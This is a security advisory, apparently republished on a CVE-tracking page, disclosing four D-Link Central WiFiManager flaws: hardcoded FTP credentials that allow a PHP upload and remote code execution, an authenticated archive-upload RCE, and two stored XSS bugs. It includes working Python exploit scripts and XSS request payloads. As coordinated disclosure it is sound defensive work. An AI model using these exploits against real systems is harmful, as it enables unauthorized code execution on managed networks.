EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
D-Link Central WiFiManager Software Controller Multiple Vulnerabilities
1. *Advisory Information*
Title: D-Link Central WiFiManager Software Controller Multiple
Vulnerabilities
Advisory ID: CORE-2018-0010
Advisory URL: http://www.coresecurity.com/advisories/d-link-central-wifimanager-software-controller-multiple-vulnerabilities
Date published: 2018-10-04
Date of last update: 2018-10-04
Vendors contacted: D-Link
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Unrestricted Upload of File with Dangerous Type [CWE-434],
Improper Authorization [CWE-285], Improper Neutralization of Input
During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper
Neutralization of Input During Web Page Generation
('Cross-site Scripting') [CWE-79]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-17440, CVE-2018-17442, CVE-2018-17443, CVE-2018-17441
3. *Vulnerability Description*
D-Link's website states that:
[1] Central WiFiManager Software Controller helps network administrators
streamline their wireless access point (AP) management workflow. Central
WiFiManager is an innovative approach to the more traditional
hardware-based multiple access point management system. It uses a
centralized server to both remotely manage and monitor wireless APs on a
network.
Vulnerabilities were found in the Central WiFiManager Software
Controller, allowing unauthenticated and authenticated file upload with
dangerous type that could lead to remote code execution with system
permissions. Also, two stored Cross Site Scripting vulnerabilities were
found.
4. *Vulnerable Packages*
. Central WifiManager v1.03
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
D-Link released the following Beta version that addresses the reported vulnerabilities:
. Central WifiManager v 1.03r0100-Beta1
In addition, D-Link published a security note in:
https://securityadvisories.dlink.com/announcement/publication.aspx?name=SAP10092
6. *Credits*
These vulnerabilities were discovered and researched by Julian Muñoz
from Core Security Consulting Services. The publication of this advisory
was coordinated by Leandro Cuozzo from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
D-Link Central WiFiManager Software Controller exposes an FTP server
that serves by default in port 9000 and has hardcoded credentials
(admin, admin). Taking advantage of this fact, we will upload a PHP file
in the '/web/public' directory and then, by requesting this file, will
be able to execute arbitrary code on the target system (shown in 7.1).
On 7.2 we show a similar attack to but in this case with an
authenticated user in the web application. The application has a
functionality to upload a .rar file used for the captive portal
displayed by the Access Points. We will craft a .rar with a PHP file
that we will end up executing in the context of the web application.
When the .rar is uploaded is stored in the path "\web\captivalportal" in
a folder with a timestamp created by the PHP time() function. In order
to know what is the web server's time we request an information file
that contains the time we are looking for. After we have the server's
time we upload the .rar, calculate the proper epoch and request the
appropriate path increasing this epoch by one until we hit the correct
one.
Finally, we discovered two Cross-Site Scripting, one on the update site
functionality, in the 'sitename' parameter (7.3) and the other one on
the creation of a local user in the 'username' parameter (7.4).
7.1. *Unauthenticated Remote Code Execution by Unrestricted Upload of
File with Dangerous Type*
[CVE-2018-17440] The web application starts an FTP server running on the
port 9000 by default with admin/admin credentials and do not show the
option to change it, so in this POC we establish a connection with the
server and upload a PHP file. Since the application do not restrict
unauthenticated users to request any file in the web root, we later
request the uploaded file to achieve remote code execution.
/-----
import requests
from ftplib import FTP
#stablish connection with FTP server
host_ip = "127.0.0.1"
ftp = FTP()
ftp.connect(host=host_ip<ftp://ftp.connect(host=host_ip>, port=9000)
ftp.login(<ftp://ftp.login(>"admin", "admin")
data = []
#create PHP poc file
poc_php_file = open("poc.php", "w+")
poc_php_file.write("<?php\nsystem('whoami');\n?>")
poc_php_file.close()
#upload PHP poc file
php_file = open("poc.php", "rb")
ftp.cwd('/web/public')<ftp://ftp.cwd('/web/public')>
ftp.storbinary(<ftp://ftp.storbinary(>"STOR write_file.php", php_file)
ftp.dir(data.append)<ftp://ftp.dir(data.append)>
ftp.quit()<ftp://ftp.quit()>
for line in data:
print "-", line
session = requests.Session()
session.trust_env = False
#get the uploaded file for remote code execution
get_uploaded_file = session.get('https://127.0.0.1/public/write_file.php', verify=False)
print get_uploaded_file.text
-----/
7.2. *Authenticated Remote Code Execution by Unrestricted Upload of File with Dangerous Type*
[CVE-2018-17442] In this case we make a file upload using the
functionality given by the onUploadLogPic endpoint, that will take a
.rar file, decompress it and store it in a folder named after the PHP
time() function. Our goal is first obtain the server's time, upload a
.rar with our PHP file, calculate the proper epoch and iterate
increasing it until we hit the proper one and remote code execution is
achieved.
/-----
import re
import time
import requests
import datetime
import tarfile
def parse_to_datetime(date_string):
date_list = date_string.split("-")
td = date_list[2][2:].split(":")
return datetime.datetime(int(date_list[0]), int(date_list[1]), int(date_list[2][:2]),int(td[0]), int(td[1]), int(td[2]))
session = requests.Session()
session.trust_env = False
php_session_id = "96sml0e9soke02k6d672oumqq4" #example (insert here the proper session id)
cookie = {'PHPSESSID': php_session_id}
#create tar file to upload.
poc_php_file = open("poc.php", "w+")
poc_php_file.write("<?php\nsystem('whoami');\n?>")
poc_php_file.close()
poc_tar_file = tarfile.open("poc_tar_file.tar", mode="w")
poc_tar_file.add("poc.php")
poc_tar_file.close()
#get server datetime.
get_server_time_from_requested_file = session.get('https://127.0.0.1/index.php/ReportSecurity/ExportAP/type/TXT',
cookies=cookie, verify=False)
date = re.search("Date(.*)\d", get_server_time_from_requested_file.text).group().replace('DateTime ', '')
#generate epoch from server's date
epoch = int(time.mktime(parse_to_datetime(date).timetuple()))
#upload attack PHP file.
attack_tar_file = "poc_tar_file.tar"
tar_file = {'stylename': 'attack', 'logfile': open(attack_tar_file, 'rb')}
restore_backup_response = session.post('https://127.0.0.1/index.php/Config/onUploadLogPic',
files=tar_file,
cookies=cookie, verify=False)
for i in range(0,20):
#get the uploaded file named after time epoch, returned by PHP time() function.
filename = str(epoch) + "/" + "poc.php"
get_uploaded_file = session.get('https://127.0.0.1/captivalportal/%s' %filename, verify=False)
if get_uploaded_file.status_code == 200:
print "Remote Code Execution Achived"
print get_uploaded_file.text
break
epoch += 1
-----/
7.3. *Cross-Site Scripting in the application site name parameter*
[CVE-2018-17443] The 'sitename' parameter of the UpdateSite endpoint is
vulnerable to a stored Cross Site Scripting:
The following is a proof of concept to demonstrate the vulnerability:
/-----
POST /index.php/Config/UpdateSite HTTP/1.1
Host: 10.2.45.220
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.2.45.220/index.php/Config/CreatSite
Cookie: Test_showmessage=false; Test_tableStyle=1; think_language=en-US;
PHPSESSID=4fvbnmn343424rg8m1jg3qbc05
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
siteid=0&sitename=<script>alert(1)</script>&sitenamehid=fakesitename&UserMember%5B%5D=1
-----/
7.4. *Cross-Site Scripting in the creation of a new user*
[CVE-2018-17441] The 'username' parameter of the addUser endpoint is
vulnerable to a stored Cross Site Scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
POST /index.php/System/addUser HTTP/1.1
Host: 10.2.45.220
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.2.45.220/index.php/System/userManager
Content-Type: application/x-www-form-urlencoded;
Content-Length: 96
Cookie: Test_showmessage=false; Test_tableStyle=1; think_language=en-US;
PHPSESSID=4fvbnmn343424rg8m1jg3qbc05
Connection: close
username=<script>alert(1)</script>&userpassword=fakepassword&level=1&email=&remark=&userid=0&creator=1&mandatory=change&
-----/
8. *Report Timeline*
2018-06-04: Core Security sent an initial notification to D-Link,
including a draft advisory.
2018-06-06:D-Link confirmed the reception of the advisory and informed
they will have an initial response on 06/08.
2018-06-08: D-Link informed that they would provide a schedule for the
fixes on 06/13.
2018-06-08: Core Security thanked the update.
2018-06-14: D-Link informed its plan of remediation and notified Core
Security that the fixed version will be available on 08/31.
2018-06-15: Core Security thanked the update and proposed to keep in
regular contact until this tentative release date.
2018-07-23: Core Security requested a status update.
2018-07-25: D-Link answered saying that they are still targeting 08/31
as the release date.
2018-08-24: Core Security requested a new status update and a solidified
release date for the fixed version.
2018-08-28: D-Link sent a beta version for test.
2018-08-30: Core Security tested the beta version and requested D-Link
to coordinate a release date.
2018-09-21: D-Link informed that they were planning a security
announcement and they were ready to schedule a disclosure date.
2018-09-24: Core Security thanked the update and proposed October 4th as
the publication date.
2018-10-04: Advisory CORE-2018-0010 published.
9. *References*
[1] http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/.
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies. We conduct our research in several important areas of
computer security including system vulnerabilities, cyber attack
planning and simulation, source code auditing, and cryptography. Our
results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and
context needed to manage security risks across the enterprise. This
shared insight gives customers a comprehensive view of their security
posture to make better security remediation decisions. Better insight
allows organizations to prioritize their efforts to protect critical
assets, take action sooner to mitigate access risk, and react faster if
a breach does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or
[email protected]<mailto:
[email protected]>
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
